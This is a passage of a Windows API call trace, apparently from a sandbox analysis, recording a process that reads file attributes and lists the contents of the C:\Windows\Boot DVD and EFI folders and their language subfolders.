	[0086.335] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\DVD\\PCAT\\en-US\\bootfix.bin" (normalized: "c:\\windows\\boot\\dvd\\pcat\\en-us\\bootfix.bin"), fInfoLevelId=0x0, lpFileInformation=0x127e36d8 | out: lpFileInformation=0x127e36d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1aa70238, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x400)) returned 1
	[0086.336] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\DVD\\PCAT\\etfsboot.com" (normalized: "c:\\windows\\boot\\dvd\\pcat\\etfsboot.com"), fInfoLevelId=0x0, lpFileInformation=0x127e3728 | out: lpFileInformation=0x127e3728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65f9d8bc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x65f9d8bc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x65f9d8bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0086.336] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI" (normalized: "c:\\windows\\boot\\efi"), fInfoLevelId=0x0, lpFileInformation=0x127e3778 | out: lpFileInformation=0x127e3778*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e43c9e1, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x4e43c9e1, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.336] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI" (normalized: "c:\\windows\\boot\\efi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.336] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e43c9e1, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x4e43c9e1, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e43c9e1, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x4e43c9e1, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e12a8d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93e12a8d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93e12a8d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgfw.efi", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e12a8d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93e12a8d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93e38bed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa3780, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde78692, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde9e7ec, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde9e7ec, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde9e7ec, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdec4946, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdec4946, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdec4946, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdec4946, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdeeaaa0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdeeaaa0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf36d54, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf36d54, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf36d54, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf5ceae, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf5ceae, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf5ceae, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x858f6367, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x858f6367, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85a9928a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x95380, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.efi", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf5ceae, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdf5ceae, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdf5ceae, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdfcf2bc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdfcf2bc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdfcf2bc, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdfcf2bc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdfcf2bc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdfcf2bc, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe0ffd8c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe0ffd8c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0086.338] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe0ffd8c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe125ee6, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe125ee6, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0086.339] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0086.339] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0086.339] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0086.339] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe1982f4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe1982f4, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe1982f4, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0086.339] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.339] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.339] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\bootmgfw.efi" (normalized: "c:\\windows\\boot\\efi\\bootmgfw.efi"), fInfoLevelId=0x0, lpFileInformation=0x12408008 | out: lpFileInformation=0x12408008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e12a8d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93e12a8d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93e12a8d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa4380)) returned 1
	[0086.341] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\bootmgr.efi" (normalized: "c:\\windows\\boot\\efi\\bootmgr.efi"), fInfoLevelId=0x0, lpFileInformation=0x12408058 | out: lpFileInformation=0x12408058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e12a8d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93e12a8d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93e38bed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa3780)) returned 1
	[0086.341] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\cs-CZ" (normalized: "c:\\windows\\boot\\efi\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0x124080a8 | out: lpFileInformation=0x124080a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.342] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\cs-CZ" (normalized: "c:\\windows\\boot\\efi\\cs-cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.342] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\cs-CZ\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.342] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.343] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2748b25, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2e92df2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7856af2c, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgfw.efi.mui", cAlternateFileName="")) returned 1
	[0086.343] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c15437, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe835f704, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe835f704, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.efi.mui", cAlternateFileName="")) returned 1
	[0086.343] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.343] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.343] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\cs-CZ\\bootmgfw.efi.mui" (normalized: "c:\\windows\\boot\\efi\\cs-cz\\bootmgfw.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x12408198 | out: lpFileInformation=0x12408198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2748b25, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2e92df2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x7856af2c, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15c50)) returned 1
	[0086.343] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\cs-CZ\\bootmgr.efi.mui" (normalized: "c:\\windows\\boot\\efi\\cs-cz\\bootmgr.efi.mui"), fInfoLevelId=0x0, lpFileInformation=0x124081e8 | out: lpFileInformation=0x124081e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c15437, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe835f704, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe835f704, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14000)) returned 1
	[0086.344] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Boot\\EFI\\da-DK" (normalized: "c:\\windows\\boot\\efi\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0x12408238 | out: lpFileInformation=0x12408238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.344] CreateFileW (lpFileName="C:\\Windows\\Boot\\EFI\\da-DK" (normalized: "c:\\windows\\boot\\efi\\da-dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.344] FindFirstFileW (in: lpFileName="C:\\Windows\\Boot\\EFI\\da-DK\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfde78692, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfde78692, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
